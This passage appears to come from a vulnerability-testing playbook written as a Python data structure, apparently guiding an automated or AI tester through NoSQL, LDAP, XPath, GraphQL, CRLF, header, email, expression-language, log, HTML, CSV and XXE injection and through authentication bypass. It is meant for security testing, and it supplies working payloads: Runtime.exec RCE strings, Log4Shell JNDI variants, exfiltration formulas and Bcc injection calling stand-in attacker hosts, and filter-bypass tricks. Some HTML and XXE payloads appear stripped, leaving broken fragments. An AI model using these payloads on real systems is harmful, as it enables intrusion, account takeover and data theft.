user[$ne]=&pass[$ne]= (MongoDB operator injection)", "Test $regex, $gt, $exists operators", "Look for MongoDB-style error messages" ], "test_phases": [ { "phase": 1, "name": "Operator Injection Detection", "prompts": [ "For login forms, replace username/password with operator objects: {\"username\": {\"$ne\": \"\"}, \"password\": {\"$ne\": \"\"}}. If login succeeds, authentication is bypassed.", "In query parameters: user[$ne]=admin&pass[$gt]=. Check if this returns data or bypasses auth.", "Test regex extraction: {\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}. Iterate characters to extract password (like blind SQLi).", "Test $where (JS execution): {\"$where\": \"this.username == 'admin' && this.password.length > 0\"}. If this returns results, JS execution is possible.", "Test array injection: id[]=1&id[]=2 to see if application handles array parameters unexpectedly." ], "expected_results": ["Auth bypass via operator injection", "Data extraction via regex", "JS execution via $where"], "decision_tree": { "auth_bypassed": "CRITICAL - Document auth bypass proof", "data_extracted": "HIGH - Document extraction technique", "js_execution": "CRITICAL - $where enables arbitrary JS execution", "no_injection": "Try different parameter formats, nested objects" } }, { "phase": 2, "name": "Advanced Extraction & RCE", "prompts": [ "Extract password via $regex binary search: {\"password\": {\"$regex\": \"^{prefix}\"}} - iterate characters until login fails.", "Data enumeration via $gt/$lt: {\"_id\": {\"$gt\": \"\"}} returns all documents. Use $gt with known ID to paginate.", "RCE via $where with sleep: {\"$where\": \"sleep(5000)\"} for time-based confirmation.", "MongoDB $lookup injection for cross-collection data access if in aggregation pipeline.", "Test for SSRF in MongoDB operations: {\"$where\": \"this.constructor.constructor('return fetch(`http://COLLAB`)')()\"}" ], "expected_results": ["Full credential extraction", "Cross-collection access", "RCE or SSRF"], "decision_tree": { "creds_extracted": "CRITICAL - Document full extraction", "cross_collection": "HIGH - Unauthorized data access", "rce_achieved": "CRITICAL - Server compromise" } } ], "bypass_strategies": [ "Content-Type manipulation: application/json vs application/x-www-form-urlencoded", "Unicode operator names: $ne (fullwidth dollar)", "Nested object depth to bypass validation", "Mixed parameter types: array + object", "PHP/Express parameter pollution for operator injection" ], "verification_checklist": [ "Operator injection changes query behavior (auth bypass or different data)", "Regex extraction produces valid characters/data", "Negative control: valid credentials return same result as injected", "Multiple operator types work (confirms NoSQL injection, not coincidence)" ], "chain_attacks": ["NoSQLi → Auth bypass → Account takeover", "NoSQLi → Data dump → Credential reuse"], "anti_false_positive": [ "Login bypass may be due to default credentials, not injection", "Test with known-invalid operators to confirm they're processed", "Verify the auth bypass is via injection, not a permissive auth policy" ] }, "ldap_injection": { "category": "injection", "title": "LDAP Injection", "overview": "User input incorporated into LDAP queries without sanitization. Test authentication endpoints, directory searches, and user lookups for LDAP filter manipulation.", "threat_model": "Attacker manipulates LDAP queries to bypass authentication, enumerate users, or extract directory information. Common in enterprise environments using Active Directory.", "discovery": [ "Look for login forms and user search that query LDAP/AD", "Inject special LDAP chars: *, (, ), \\, NUL", "Test: username=*)(uid=*))(|(uid=* for filter injection", "Check for LDAP error messages" ], "test_phases": [ { "phase": 1, "name": "LDAP Filter Injection Detection", "prompts": [ "In login forms, test username=* — if LDAP filter is (&(uid=INPUT)(password=PWD)), injecting * makes (&(uid=*)(password=PWD)) which may return first user.", "Test authentication bypass: username=admin)(&) or username=admin)(|(password=* to manipulate the AND filter.", "For search functions, test: search=*)(uid=*))(|(uid=* to inject additional LDAP filter conditions.", "Try boolean-based enumeration: search=a* (users starting with 'a'), search=b* (users starting with 'b'). Different result counts confirm injection.", "Test special characters: (, ), *, \\, NUL byte. Check which are filtered vs passed through." ], "expected_results": ["Auth bypass via filter manipulation", "User enumeration via wildcard", "LDAP errors exposed"], "decision_tree": { "auth_bypassed": "CRITICAL - Document LDAP auth bypass", "user_enumeration": "MEDIUM - Document directory enumeration", "error_disclosure": "LOW - LDAP error information disclosure", "no_injection": "Check for bind-based LDAP auth (harder to inject)" } } ], "bypass_strategies": [ "Unicode encoding of special LDAP characters", "NUL byte to terminate filter early: admin%00)(|(uid=*", "Alternate filter operators: >=, <=, ~= (approximate match)", "Nested filter injection: )(|(cn=*" ], "verification_checklist": [ "Wildcard (*) returns different results than specific value", "Filter manipulation changes authentication/query behavior", "LDAP error messages confirm query structure injection", "Negative control: normal input returns expected results" ], "chain_attacks": ["LDAP injection → Auth bypass → Admin access", "LDAP injection → User enumeration → Password spraying"], "anti_false_positive": [ "Wildcard search may be an intended feature", "Must prove filter manipulation, not just wildcard support", "LDAP error message alone is info disclosure, not injection" ] }, # ═══════════════════════════════════════════════════════════ # CHAPTER 2: ADVANCED INJECTION (11-20) # ═══════════════════════════════════════════════════════════ "xpath_injection": { "category": "injection", "title": "XPath Injection", "overview": "User input incorporated into XPath queries against XML data stores. Test authentication and search parameters for XPath expression manipulation to bypass auth or extract XML data.", "threat_model": "Attacker manipulates XPath queries to bypass XML-based authentication, extract sensitive data from XML stores, or enumerate XML document structure.", "discovery": [ "Look for XML-backed authentication or search functionality", "Inject XPath special chars: ', \", /, [, ], (, ), =", "Test: ' or '1'='1 for always-true condition", "Check for XML/XPath error messages in responses" ], "test_phases": [ { "phase": 1, "name": "XPath Injection Detection", "prompts": [ "For login/search parameters, test: ' or '1'='1 to create always-true condition. If original query is //user[name='INPUT' and pass='PWD'], injection makes //user[name='' or '1'='1' and pass='PWD'].", "Test: ' or ''=' to create always-true without digits (bypasses numeric filters).", "Try to extract XML structure: ' or name()='user' or 'a'='b to test node names.", "Test boolean extraction: ' and substring(//user[1]/pass,1,1)='a' and 'a'='a to extract data char-by-char.", "Check for error-based disclosure: inject invalid XPath like '][' and check if error reveals query structure." ], "expected_results": ["Auth bypass via XPath manipulation", "Data extracted", "Query structure revealed"], "decision_tree": { "auth_bypassed": "CONFIRMED - Document XPath auth bypass", "data_extracted": "CONFIRMED - Document extraction proof", "error_reveals_structure": "Proceed with targeted injection using known structure", "no_injection": "May not be XPath-backed, try other injection types" } } ], "bypass_strategies": [ "Unicode encoding of quote characters", "XPath 2.0 functions if available: matches(), tokenize()", "Namespace-aware queries: //*[local-name()='user']", "Comment injection: (: comment :) in XPath 2.0" ], "verification_checklist": [ "Boolean condition manipulation changes query results", "Extracted data matches expected XML format", "Error messages confirm XPath query context", "Negative control: valid input returns normal results" ], "chain_attacks": ["XPath injection → Auth bypass", "XPath injection → Full XML data extraction"], "anti_false_positive": [ "Quote causing error may be generic input validation, not XPath", "Must prove XPath query manipulation, not just error triggering" ] }, "graphql_injection": { "category": "injection", "title": "GraphQL Injection & Abuse", "overview": "GraphQL-specific attacks: introspection queries, batch queries, query depth abuse, field suggestion enumeration, and injection within GraphQL variables. Focus on schema discovery and authorization bypass.", "threat_model": "Attacker exploits GraphQL's flexible query language to discover the entire API schema, bypass field-level authorization, perform batch operations to brute-force, or inject into resolver functions.", "discovery": [ "Identify GraphQL endpoints: /graphql, /gql, /api/graphql", "Send introspection query: {__schema{types{name,fields{name}}}}", "Test for field suggestions in error messages", "Check for query complexity/depth limits" ], "test_phases": [ { "phase": 1, "name": "Schema Discovery & Introspection", "prompts": [ "Send full introspection query to discover the entire schema: {__schema{queryType{name},mutationType{name},types{name,kind,fields{name,type{name,kind,ofType{name}},args{name,type{name}}}}}. This reveals all types, fields, and arguments.", "If introspection is disabled, use field suggestion attacks: query {user{aaa}}. Error messages may suggest valid field names like 'Did you mean: address, age, admin?'.", "Map all queries and mutations from schema. Focus on mutations that modify data, create users, or change permissions.", "Check for deprecated fields that may have weaker authorization.", "Test query aliases for batch operations: {a:user(id:1){name} b:user(id:2){name} c:user(id:3){name}} — if no rate limiting, this enables mass enumeration." ], "expected_results": ["Full schema discovered", "All queries/mutations mapped"], "decision_tree": { "full_schema_obtained": "Proceed to Phase 2 - Authorization testing", "partial_schema": "Use field suggestions + error enumeration", "introspection_disabled_no_suggestions": "Brute-force common field names" } }, { "phase": 2, "name": "Authorization Bypass & Injection", "prompts": [ "Test IDOR via GraphQL: query {user(id: OTHER_USER_ID) {email, password, ssn}}. Check if authorization is per-field or per-query.", "Test mutation authorization: try modifying other users' data via mutation {updateUser(id: OTHER_USER_ID, role: \"admin\") {id, role}}.", "Batch query abuse: send 1000 login attempts in one request using aliases: {a:login(user:\"admin\",pass:\"pass1\"){token} b:login(user:\"admin\",pass:\"pass2\"){token} ...}.", "Test nested query depth: {user{friends{friends{friends{friends{name}}}}}} — excessive depth may cause DoS or expose deeply nested data.", "Test injection in variables: {\"query\": \"query($id:ID!){user(id:$id){name}}\", \"variables\": {\"id\": \"1 OR 1=1\"}} — if resolver builds SQL from variables.", "Test for SQL injection via GraphQL: query {users(filter: \"name='admin' OR '1'='1'\") {name, password}}." ], "expected_results": ["IDOR via GraphQL", "Batch brute-force works", "Injection in resolvers"], "decision_tree": { "idor_confirmed": "HIGH - Document unauthorized data access", "batch_abuse": "MEDIUM - Document rate limit bypass", "resolver_injection": "CRITICAL - SQLi/NoSQLi via GraphQL", "proper_auth": "Check for other GraphQL-specific issues" } } ], "bypass_strategies": [ "Introspection via POST instead of GET", "Fragment-based introspection to bypass regex filters", "Alias-based batch queries to bypass rate limiting", "Persisted queries manipulation", "Nested fragments for depth bypass" ], "verification_checklist": [ "Schema data matches expected API structure", "Unauthorized data access returns actual user data (not errors)", "Batch queries actually execute (not just accepted)", "Injection in resolvers produces SQL/NoSQL errors or data" ], "chain_attacks": ["GraphQL introspection → IDOR → Data theft", "GraphQL batch → Credential brute-force", "GraphQL injection → SQLi → Data extraction"], "anti_false_positive": [ "Introspection enabled is a finding but low severity alone", "Must verify IDOR returns other users' actual data, not just '200 OK'", "Batch queries that are rate-limited are not a vulnerability" ] }, "crlf_injection": { "category": "injection", "title": "CRLF Injection / HTTP Response Splitting", "overview": "User input reflected in HTTP response headers without CRLF sanitization. Inject \\r\\n to add arbitrary headers or split the response for cache poisoning, XSS, or session fixation.", "threat_model": "Attacker injects CRLF characters to add malicious HTTP headers (Set-Cookie for session fixation, Location for open redirect) or split the response to inject HTML/JS content.", "discovery": [ "Test parameters reflected in headers: redirect URLs, cookie values, custom headers", "Inject %0d%0a (\\r\\n) and check for header injection", "Test: value%0d%0aSet-Cookie:%20evil=injected", "Check Location, Set-Cookie, and custom headers for reflection" ], "test_phases": [ { "phase": 1, "name": "CRLF Injection Detection", "prompts": [ "For parameters reflected in response headers (especially redirect URLs), inject: value%0d%0aInjected-Header:true. Check if 'Injected-Header: true' appears as a new response header.", "Try double CRLF for response splitting: value%0d%0a%0d%0a. This ends headers and starts body content.", "Test encoding variants: %0d%0a, %0D%0A, \\r\\n, %E5%98%8A%E5%98%8D (Unicode CRLF), %0aHeader: (LF only).", "Test in redirect URLs: /redirect?url=http://example.com%0d%0aSet-Cookie:%20session=hijacked.", "Check if only %0d or only %0a works (some servers split on LF alone)." ], "expected_results": ["Injected header appears in response", "Response body injection via splitting"], "decision_tree": { "header_injected": "CONFIRMED CRLF - Document injected header", "response_split": "CRITICAL - XSS via response splitting", "only_lf_works": "Partial CRLF - may still be exploitable", "all_encoded": "Not vulnerable to CRLF injection" } } ], "bypass_strategies": [ "Unicode CRLF: %E5%98%8A%E5%98%8D", "LF only: %0a (some servers accept)", "Double encoding: %250d%250a", "UTF-8 overlong: %c0%8d%c0%8a", "Mix CR and LF separately in different parameters" ], "verification_checklist": [ "Injected header appears as a separate HTTP header in response", "Response splitting creates injectable body content", "Negative control: without CRLF, header is not split", "Multiple injection variants tested to confirm consistency" ], "chain_attacks": ["CRLF → Set-Cookie injection → Session fixation", "CRLF → XSS via response splitting", "CRLF → Cache poisoning"], "anti_false_positive": [ "CRLF characters URL-encoded in response != injection (just reflection)", "Must show the injected content as a NEW header, not URL-encoded in existing header", "Some frameworks handle CRLF safely in header values" ] }, "header_injection": { "category": "injection", "title": "HTTP Header Injection", "overview": "User-controlled values inserted into HTTP response headers. Similar to CRLF but focuses on injection within existing header values (Host header, X-Forwarded-For, etc.) for cache poisoning, password reset hijacking, or SSRF.", "threat_model": "Attacker manipulates HTTP headers to poison web caches, hijack password reset links (Host header attack), or bypass IP-based access controls (X-Forwarded-For spoofing).", "discovery": [ "Test Host header: change to attacker domain, check if reflected in links", "Test X-Forwarded-Host, X-Forwarded-For, X-Original-URL, X-Rewrite-URL", "Check for header values reflected in response body or headers" ], "test_phases": [ { "phase": 1, "name": "Host Header Attacks", "prompts": [ "Change Host header to attacker.com. Check if the application generates links/URLs using the Host header (password reset emails, absolute URLs in HTML).", "Test password reset: trigger reset, intercept request, change Host to attacker.com. If reset link uses Host header value, attacker receives the reset token.", "Test X-Forwarded-Host: keep original Host but add X-Forwarded-Host: attacker.com. Some apps prefer X-Forwarded-Host.", "Test cache poisoning: send request with Host: attacker.com, check if CDN/cache stores the response with malicious URLs.", "Test absolute URL override: X-Original-URL: /admin or X-Rewrite-URL: /admin to bypass path-based access controls." ], "expected_results": ["Host header reflected in links", "Password reset token sent to attacker", "Cache poisoned"], "decision_tree": { "host_in_reset_link": "HIGH - Password reset hijacking", "cache_poisoned": "HIGH - Cache poisoning affects all users", "path_bypass": "HIGH - Access control bypass via URL override", "host_not_reflected": "Check for X-Forwarded-Host support" } } ], "bypass_strategies": [ "Double Host header: first is ignored, second is processed", "Host with port: attacker.com:80 or attacker.com:@real-host.com", "X-Forwarded-Host, X-Host, X-Forwarded-Server", "Space before header value: Host: attacker.com", "Underscore variant: X_Forwarded_Host (some parsers convert _ to -)" ], "verification_checklist": [ "Modified header value appears in response body/headers/emails", "Password reset link contains attacker-controlled domain", "Cache stores and serves the poisoned response", "Negative control: original Host header produces correct links" ], "chain_attacks": ["Host header → Password reset hijacking → Account takeover", "Host header → Cache poisoning → Mass XSS"], "anti_false_positive": [ "Host header reflected in error page may be low-impact info disclosure", "Must demonstrate exploitable impact (reset hijack, cache poison), not just reflection", "Test if CDN/cache actually stores the poisoned response" ] }, "email_injection": { "category": "injection", "title": "Email Header Injection / SMTP Injection", "overview": "User input in email functionality (contact forms, password reset) without CRLF sanitization allows injection of additional email headers (CC, BCC) or modification of email content.", "threat_model": "Attacker injects email headers to send spam, add BCC recipients for data exfiltration, or modify email content for phishing attacks through the application's email functionality.", "discovery": [ "Find email-sending features: contact forms, referral, share, password reset", "Inject CRLF in name/email/subject fields: value%0d%0aBcc: attacker@evil.com", "Test newline injection in message body fields" ], "test_phases": [ { "phase": 1, "name": "Email Header Injection", "prompts": [ "In email fields (From, Subject, To), inject: value%0d%0aBcc: attacker@evil.com. If email is received at attacker address, header injection is confirmed.", "Try adding CC: value%0d%0aCc: attacker@evil.com. Check for email receipt.", "Try modifying Subject: value%0d%0aSubject: Modified Subject. Check if subject changes in received email.", "Try injecting additional MIME content: value%0d%0aContent-Type: text/html%0d%0a%0d%0a

Phishing

. This could modify email body.", "Test with different newline encodings: %0a, %0d%0a, \\n, \\r\\n." ], "expected_results": ["Additional recipients added", "Email content modified", "Spam sending capability"], "decision_tree": { "bcc_injection": "HIGH - Email data exfiltration", "content_injection": "MEDIUM - Phishing via legitimate domain", "subject_injection": "LOW - Header manipulation", "no_injection": "Email library properly handles headers" } } ], "bypass_strategies": ["URL encode CRLF: %0d%0a", "Unicode newlines: %E2%80%A8, %E2%80%A9", "Bare LF: %0a only", "Double encode: %250d%250a"], "verification_checklist": [ "Email received at injected address (BCC/CC confirmation)", "Modified headers appear in received email source", "Negative control: normal email sends without extra headers" ], "chain_attacks": ["Email injection → Spam relay", "Email injection → Phishing via trusted domain", "Email injection → Password reset to attacker email"], "anti_false_positive": [ "Must confirm email actually sent with injected headers", "Application may sanitize at the email library level even if input isn't filtered", "Check received email headers, not just absence of error" ] }, "expression_language_injection": { "category": "injection", "title": "Expression Language (EL) Injection", "overview": "User input evaluated by server-side expression language (Java EL, Spring SpEL, OGNL). Test for expression evaluation in Java/Spring applications that can lead to RCE.", "threat_model": "Attacker injects expression language syntax that gets evaluated server-side in Java applications, leading to information disclosure or remote code execution.", "discovery": [ "Test ${7*7} in parameters — if response contains 49, EL evaluation confirmed", "Test #{7*7} for Spring SpEL", "Test %{7*7} for OGNL (Struts)", "Look for Java/Spring/Struts technology stack" ], "test_phases": [ { "phase": 1, "name": "EL Detection & Engine Identification", "prompts": [ "Test EL evaluation: inject ${7*7} in each parameter. If response contains 49, Java EL is being evaluated.", "Test SpEL: #{7*7} and #{T(java.lang.Math).random()}. If random number appears, SpEL is active.", "Test OGNL: %{7*7} and %{#context}. Common in Apache Struts applications.", "Check for class access: ${applicationScope}, #{request.getClass()}, %{#_memberAccess}.", "Identify Java application server from error messages or headers (Tomcat, WebLogic, JBoss)." ], "expected_results": ["Expression evaluated (49 appears)", "EL engine identified"], "decision_tree": { "el_evaluated": "Proceed to Phase 2 - RCE exploitation", "error_reveals_engine": "Target specific engine with known RCE payloads", "no_evaluation": "May have CSP or expression language disabled" } }, { "phase": 2, "name": "RCE via Expression Language", "prompts": [ "Java EL RCE: ${Runtime.getRuntime().exec('id')} or ${\"'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('id')}.", "SpEL RCE: #{T(java.lang.Runtime).getRuntime().exec('id')} or #{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\\\A').next()}.", "OGNL RCE: %{(#rt=@java.lang.Runtime@getRuntime().exec('id'))} or the classic Struts2 S2-045/S2-046 payloads.", "If direct class access blocked, try reflection: ${Class.forName('java.la'+'ng.Runtime')}.", "For output capture: wrap in Scanner or BufferedReader to read command output from InputStream." ], "expected_results": ["RCE achieved via expression language", "Command output captured"], "decision_tree": { "rce_confirmed": "CRITICAL - Full server compromise", "info_disclosure_only": "HIGH - Sensitive data via EL", "sandbox_restricted": "Test sandbox escape techniques" } } ], "bypass_strategies": [ "String concatenation to bypass blocklists: 'java.la'+'ng.Runtime'", "Reflection-based access to bypass direct class restrictions", "Unicode encoding of EL delimiters", "Alternative EL syntax: T() for SpEL, @ for OGNL", "Nested expressions to bypass depth-1 filters" ], "verification_checklist": [ "Mathematical expression produces correct result in response", "RCE command output matches expected system information", "Negative control: non-EL input returns without evaluation", "Different expressions produce different results (not cached)" ], "chain_attacks": ["EL injection → RCE → Full server compromise", "EL injection → File read → Credential theft"], "anti_false_positive": [ "Template rendering '49' for unrelated reasons != EL injection", "Must prove server-side evaluation, not client-side JavaScript", "Distinguish from SSTI — EL injection is specific to Java EL/SpEL/OGNL" ] }, "log_injection": { "category": "injection", "title": "Log Injection / Log Forging", "overview": "User input written to application logs without sanitization. Inject newlines to forge log entries, inject ANSI escape sequences for terminal exploitation, or inject JNDI lookup strings (Log4Shell).", "threat_model": "Attacker forges log entries to cover tracks, inject misleading entries, exploit log viewers with ANSI/terminal escape sequences, or trigger Log4j JNDI lookups for RCE.", "discovery": [ "Identify user input that appears in logs (login attempts, search queries, error messages)", "Inject newlines: value%0aINFO: Fake log entry", "Test JNDI: ${jndi:ldap://attacker.com/a}", "Test ANSI: \\x1b[31mRED\\x1b[0m" ], "test_phases": [ { "phase": 1, "name": "Log Injection & Log4Shell Detection", "prompts": [ "Inject newline + fake log entry: username=admin%0a[INFO] Login successful for admin from 127.0.0.1. Check if log file shows the forged entry.", "Test Log4Shell (CVE-2021-44228): inject ${jndi:ldap://COLLABORATOR/a} in every parameter, header, and user-agent. If DNS callback received, Log4j JNDI lookup is active.", "Try Log4Shell bypass variants: ${${lower:j}ndi:ldap://COLLAB/a}, ${j${::-n}di:ldap://COLLAB/a}, ${${env:NaN:-j}ndi:ldap://COLLAB/a}.", "Test ANSI escape injection for terminal exploit: inject \\x1b]2;evil_title\\x07 to change terminal title when admin views logs.", "Test in all input vectors: headers, cookies, path segments, JSON fields, multipart filenames." ], "expected_results": ["Forged log entries", "JNDI callback received", "ANSI escape processed"], "decision_tree": { "jndi_callback": "CRITICAL - Log4Shell RCE vector confirmed", "log_forging": "LOW - Document log integrity issue", "ansi_escape": "LOW-MEDIUM - Terminal exploitation possible", "no_injection": "Logs properly sanitized" } } ], "bypass_strategies": [ "Log4Shell nested lookups: ${${lower:j}ndi:...}", "URL encoding of newlines and special chars", "Unicode newlines for log forging", "Log4j environment variable lookups: ${env:AWS_SECRET_ACCESS_KEY}" ], "verification_checklist": [ "JNDI: DNS/LDAP callback received at collaborator", "Log forging: fake entry appears as separate log line", "Multiple JNDI variants tested for thoroughness", "Negative control: non-JNDI input doesn't trigger callback" ], "chain_attacks": ["Log4Shell → JNDI → LDAP → RCE", "Log injection → Cover tracks → Persistent access"], "anti_false_positive": [ "DNS callback could be from other JNDI sources, not just Log4j", "Verify the specific input that triggered the callback", "Log forging requires admin access to verify (may be blind)" ] }, "html_injection": { "category": "client_side", "title": "HTML Injection", "overview": "User input rendered as HTML in response without XSS (no script execution due to CSP or context). Can still be used for phishing, content spoofing, and dangling markup attacks.", "threat_model": "Attacker injects HTML to create fake login forms (phishing), modify page content (defacement), or use dangling markup to exfiltrate data via img/form action to external domain.", "discovery": [ "Test for HTML tag injection without script: bold,

test

", "If tags render but script is blocked (CSP), it's HTML injection", "Test in parameters, headers reflected in page" ], "test_phases": [ { "phase": 1, "name": "HTML Injection & Exploitation", "prompts": [ "Inject

Injected

— if rendered as a heading, HTML injection confirmed.", "Inject fake login form:

Session Expired - Please Login

.", "Dangling markup attack: to redirect all relative URLs to attacker domain.", "Test for redirect injection." ], "expected_results": ["HTML renders in page", "Fake forms displayed", "Dangling markup exfiltrates data"], "decision_tree": { "html_renders": "CONFIRMED - Document phishing/spoofing impact", "form_renders": "HIGH - Credential phishing possible", "dangling_markup_works": "HIGH - Data exfiltration via markup", "html_encoded": "Not vulnerable to HTML injection" } } ], "bypass_strategies": [ "Use HTML tags that don't require script: form, img, base, meta, input", "Dangling markup needs no closing tag - uses browser's error recovery", "Base tag hijack redirects all relative URLs" ], "verification_checklist": [ "Injected HTML renders visually in the page", "Fake form would convincingly deceive a user", "Dangling markup captures expected data in URL", "Distinguish from XSS - no JavaScript execution" ], "chain_attacks": ["HTML injection → Credential phishing", "HTML injection → Dangling markup → Data exfiltration"], "anti_false_positive": [ "HTML in response source but not rendered != HTML injection", "Must render visually in browser context", "If CSP blocks both inline script AND form-action, impact is very limited" ] }, "csv_injection": { "category": "injection", "title": "CSV Injection / Formula Injection", "overview": "User input included in exported CSV/Excel files without sanitization. Inject spreadsheet formulas (=CMD, +CMD, @SUM, -CMD) that execute when opened in Excel/Sheets.", "threat_model": "Attacker submits formula payloads (=cmd|'/c calc'!A1) via application input. When admin exports data to CSV and opens in Excel, the formula executes commands or exfiltrates data.", "discovery": [ "Find export/download CSV features", "Submit input starting with =, +, -, @ in fields that appear in exports", "Test: =cmd|'/c calc'!A1 for Windows command execution", "Test: =HYPERLINK(\"http://attacker.com/?\"&A1&B1,\"Click\") for data exfiltration" ], "test_phases": [ { "phase": 1, "name": "Formula Injection in Exports", "prompts": [ "Submit =1+1 in a field that appears in CSV exports. Download the CSV and open in Excel. If cell shows 2 instead of =1+1, formula injection works.", "Test command execution: =cmd|'/c calc'!A1 (Windows), =-cmd('id') (DDE). These may trigger security warnings in modern Excel.", "Test data exfiltration: =HYPERLINK(\"http://attacker.com/steal?data=\"&A2&\"&\"&B2, \"Click here\") — when user clicks the link, data from adjacent cells is sent to attacker.", "Test in multiple export formats: CSV, XLS, XLSX, TSV, ODS.", "Try bypass: prefix with tab/space that gets trimmed, or use different formula triggers: @SUM, +cmd, -cmd, \\tcmd." ], "expected_results": ["Formula evaluates in spreadsheet", "Command execution or data exfiltration possible"], "decision_tree": { "formula_evaluates": "CONFIRMED - Document formula injection", "dde_executes": "HIGH - Command execution via DDE", "hyperlink_exfiltrates": "MEDIUM - Data exfiltration requires user interaction", "formulas_escaped": "Not vulnerable (proper CSV escaping)" } } ], "bypass_strategies": [ "Tab/space prefix that gets trimmed before export", "Different formula triggers: =, +, -, @, \\t=", "DDE variants: =DDE(\"cmd\",\"/c calc\",\"\")", "Newline in cell to split across rows" ], "verification_checklist": [ "Formula evaluates when CSV is opened in spreadsheet application", "Command execution confirmed (calc.exe opens, or DNS callback)", "Data exfiltration link sends cell data to external URL", "Test with current Excel version (modern versions warn about DDE)" ], "chain_attacks": ["CSV injection → DDE → Command execution", "CSV injection → Hyperlink → Data theft"], "anti_false_positive": [ "Modern Excel warns about DDE — impact depends on user clicking 'Enable'", "Google Sheets doesn't execute DDE — test with actual Excel", "Formula injection with no export feature is not exploitable" ] }, "xxe": { "category": "injection", "title": "XML External Entity (XXE) Injection", "overview": "Application parses XML input without disabling external entities. Inject DTD declarations to read local files, perform SSRF, or achieve RCE via expect:// wrapper.", "threat_model": "Attacker injects XML with external entity declarations to read server files (/etc/passwd, application configs), scan internal network (SSRF), exfiltrate data out-of-band, or execute commands.", "discovery": [ "Identify XML input: SOAP, XML APIs, file uploads (DOCX/XLSX/SVG), RSS feeds", "Inject: ]>&xxe;", "Check for XML parsing errors revealing entity processing", "Test Content-Type: application/xml on JSON endpoints" ], "test_phases": [ { "phase": 1, "name": "XXE Detection & File Read", "prompts": [ "Submit XML with external entity: ]>&xxe;. If /etc/passwd content appears, XXE confirmed.", "If JSON endpoint, change Content-Type to application/xml and send equivalent XML payload. Some frameworks auto-parse XML.", "Test parameter entities for blind XXE: %xxe;]>. If callback received, blind XXE works.", "For file exfiltration via OOB: '>%eval;%exfil;]>.", "Test via file uploads: embed XXE in DOCX (docProps/core.xml), XLSX (xl/workbook.xml), SVG (&xxe;)." ], "expected_results": ["File content in response", "OOB callback with file data", "SSRF via XXE"], "decision_tree": { "file_read_direct": "CONFIRMED - Direct XXE file read", "oob_callback_with_data": "CONFIRMED - Blind XXE with data exfiltration", "oob_callback_no_data": "Partial XXE - can trigger requests but data extraction blocked", "no_entity_processing": "XXE protections in place" } }, { "phase": 2, "name": "XXE Escalation", "prompts": [ "SSRF via XXE: . Access cloud metadata, internal services.", "PHP expect:// for RCE: . Only works if expect module is loaded.", "Billion Laughs DoS: . Test server resilience (carefully).", "Read binary files via PHP base64 wrapper: .", "Error-based extraction: force XML parsing error that includes file content in error message." ], "expected_results": ["Internal service access via SSRF", "RCE via expect://", "Binary file extraction"], "decision_tree": { "ssrf_via_xxe": "HIGH - Internal access via XXE", "rce_via_expect": "CRITICAL - Remote code execution", "dos_confirmed": "MEDIUM - Denial of service" } } ], "bypass_strategies": [ "Content-Type switch: JSON → XML", "File upload vectors: DOCX, XLSX, SVG, GPX", "Parameter entities for blind XXE when direct entities blocked", "UTF-16 encoding to bypass WAF XML signature detection", "XInclude: when DOCTYPE is blocked" ], "verification_checklist": [ "File content matches known file format (/etc/passwd has root:x:0:0)", "OOB callback includes file data (not just DNS resolution)", "SSRF accesses internal resources not available externally", "Negative control: XML without entity doesn't return file content" ], "chain_attacks": ["XXE → File read → Credential extraction", "XXE → SSRF → Cloud metadata", "XXE → expect:// → RCE"], "anti_false_positive": [ "XML parsing error != XXE (just poor error handling)", "OOB DNS callback without data exfiltration is partial XXE, not full", "File content must be actual server file, not example/default content" ] }, # ═══════════════════════════════════════════════════════════ # CHAPTER 3: AUTHENTICATION & ACCESS CONTROL (21-35) # ═══════════════════════════════════════════════════════════ "auth_bypass": { "category": "authentication", "title": "Authentication Bypass", "overview": "Circumventing authentication mechanisms through parameter manipulation, forced browsing, default credentials, session prediction, or authentication logic flaws.", "threat_model": "Attacker accesses authenticated functionality without valid credentials by exploiting logic flaws, missing auth checks, or predictable tokens.", "discovery": [ "Access authenticated endpoints directly without session/token", "Test default credentials against admin panels", "Check for authentication on all API endpoints (not just UI)", "Test parameter-based auth bypass: admin=true, role=admin, authenticated=1" ], "test_phases": [ { "phase": 1, "name": "Authentication Mechanism Analysis", "prompts": [ "Map all endpoints requiring authentication. For each, remove the auth token/cookie and check if access is granted. Missing auth checks = forced browsing bypass.", "Test default credentials on admin/management interfaces: admin/admin, admin/password, root/root, test/test, admin/changeme. Check known defaults for the technology stack.", "Test parameter manipulation: add admin=true, role=admin, isAdmin=1, debug=1, internal=true to authenticated requests. Some apps use insecure client-side role checking.", "Test HTTP method switching: if GET /admin returns 403, try POST, PUT, DELETE, PATCH, OPTIONS, HEAD on /admin. Different methods may bypass auth middleware.", "Test path traversal bypass: /admin../accessible-page, /./admin, /admin%00, /ADMIN (case sensitivity), /admin/ (trailing slash), /admin;anything (Tomcat path parameter)." ], "expected_results": ["Unauthenticated access to protected resources", "Default credentials work", "Auth bypass via parameter/path manipulation"], "decision_tree": { "direct_access_works": "CRITICAL - No authentication on protected endpoint", "default_creds_work": "HIGH - Default credentials accepted", "param_bypass": "HIGH - Client-side or parameter-based auth bypass", "method_bypass": "HIGH - Auth only on specific HTTP methods" } }, { "phase": 2, "name": "Session & Token Analysis", "prompts": [ "Analyze session tokens for predictability: collect 10+ tokens, check for sequential patterns, timestamps, or weak randomness. Use Burp Sequencer or manual analysis.", "Test session fixation: set a known session ID before authentication. If the same session ID is used after login, session fixation is possible.", "Check JWT tokens: decode with base64 and check for: alg:none attack, weak secret (crack with hashcat/john), missing expiration, role in payload that can be modified.", "Test race conditions in auth: send login request simultaneously from two threads with different credentials. Check if session mixing occurs.", "Test 2FA bypass: skip the 2FA step by directly accessing post-2FA endpoints, or reuse 2FA codes, or brute-force 4-6 digit codes." ], "expected_results": ["Predictable session tokens", "Session fixation", "JWT manipulation", "2FA bypass"], "decision_tree": { "predictable_tokens": "HIGH - Session prediction attack possible", "session_fixation": "HIGH - Attacker can fix victim's session", "jwt_manipulation": "CRITICAL - Token forging possible", "2fa_bypass": "HIGH - Second factor circumvented" } } ], "bypass_strategies": [ "HTTP method switching: GET→POST, POST→PUT", "Path manipulation: /admin → /ADMIN, /admin/, /admin;.css, /admin%00", "Header injection: X-Original-URL, X-Rewrite-URL", "JWT alg:none: change algorithm to 'none', remove signature", "Session token prediction from sequential/timestamp-based generation", "Default credentials from vendor documentation" ], "verification_checklist": [ "Accessed protected resource/data WITHOUT 